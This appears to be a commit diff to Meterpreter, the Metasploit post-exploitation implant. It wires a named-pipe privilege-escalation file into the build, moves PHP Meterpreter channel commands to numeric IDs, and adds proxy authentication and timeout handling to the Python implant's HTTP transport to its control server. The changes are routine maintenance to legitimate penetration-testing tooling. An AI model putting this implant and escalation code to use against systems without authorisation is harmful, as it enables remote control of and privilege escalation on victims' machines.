Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, COMMAND_ID_CORE_PIVOT_SESSION_NEW);
packet_add_tlv_raw(notification, TLV_TYPE_SESSION_GUID, (LPVOID)&ctx->pivot_session_guid, sizeof(ctx->pivot_session_guid));
packet_add_tlv_raw(notification, TLV_TYPE_PIVOT_ID, (LPVOID)&ctx->pivot_id, sizeof(ctx->pivot_id));
packet_transmit(ctx->remote, notification, NULL);

View File

@ -362,6 +362,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ClInclude Include="..\..\source\extensions\priv\elevate.h" />
<ClInclude Include="..\..\source\extensions\priv\fs.h" />
<ClInclude Include="..\..\source\extensions\priv\namedpipe.h" />
<ClInclude Include="..\..\source\extensions\priv\namedpipe_rpcss.h" />
<ClInclude Include="..\..\source\extensions\priv\passwd.h" />
<ClInclude Include="..\..\source\extensions\priv\precomp.h" />
<ClInclude Include="..\..\source\extensions\priv\priv.h" />
@ -372,6 +373,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ClCompile Include="..\..\source\extensions\priv\elevate.c" />
<ClCompile Include="..\..\source\extensions\priv\fs.c" />
<ClCompile Include="..\..\source\extensions\priv\namedpipe.c" />
<ClCompile Include="..\..\source\extensions\priv\namedpipe_rpcss.c" />
<ClCompile Include="..\..\source\extensions\priv\passwd.c" />
<ClCompile Include="..\..\source\extensions\priv\priv.c" />
<ClCompile Include="..\..\source\extensions\priv\service.c" />

View File

@ -860,7 +860,7 @@ function handle_dead_resource_channel($resource) {
# Notify the client that this channel is dead
$pkt = pack("N", PACKET_TYPE_REQUEST);
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, 'core_channel_close'));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_CLOSE));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID']));
@ -878,7 +878,7 @@ function handle_resource_read_channel($resource, $data) {
# Build a new Packet
$pkt = pack("N", PACKET_TYPE_REQUEST);
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, 'core_channel_write'));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_WRITE));
if (array_key_exists((int)$resource, $udp_host_map)) {
list($h,$p) = $udp_host_map[(int)$resource];
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h));

View File

@ -22,7 +22,7 @@ else:
has_windll = hasattr(ctypes, 'windll')
try:
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
urllib_imports = ['ProxyBasicAuthHandler', 'ProxyHandler', 'HTTPSHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
if sys.version_info[0] < 3:
urllib = __import__('urllib2', fromlist=urllib_imports)
else:
@ -969,6 +969,7 @@ class HttpTransport(Transport):
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if proxy:
opener_args.append(urllib.ProxyHandler({scheme: proxy}))
opener_args.append(urllib.ProxyBasicAuthHandler())
self.proxy = proxy
opener = urllib.build_opener(*opener_args)
opener.addheaders = []
@ -1004,8 +1005,11 @@ class HttpTransport(Transport):
packet = None
xor_key = None
request = urllib.Request(self.url, None, self._http_request_headers)
urlopen_kwargs = {}
if sys.version_info > (2, 6):
urlopen_kwargs['timeout'] = self.communication_timeout
try:
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
url_h = urllib.urlopen(request, **urlopen_kwargs)
packet = url_h.read()
for _ in range(1):
if packet == '':
@ -1034,7 +1038,10 @@ class HttpTransport(Transport):
def _send_packet(self, packet):
request = urllib.Request(self.url, packet, self._http_request_headers)
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
urlopen_kwargs = {}
if sys.version_info > (2, 6):
urlopen_kwargs['timeout'] = self.communication_timeout
url_h = urllib.urlopen(request, **urlopen_kwargs)
response = url_h.read()
def patch_uri_path(self, new_path):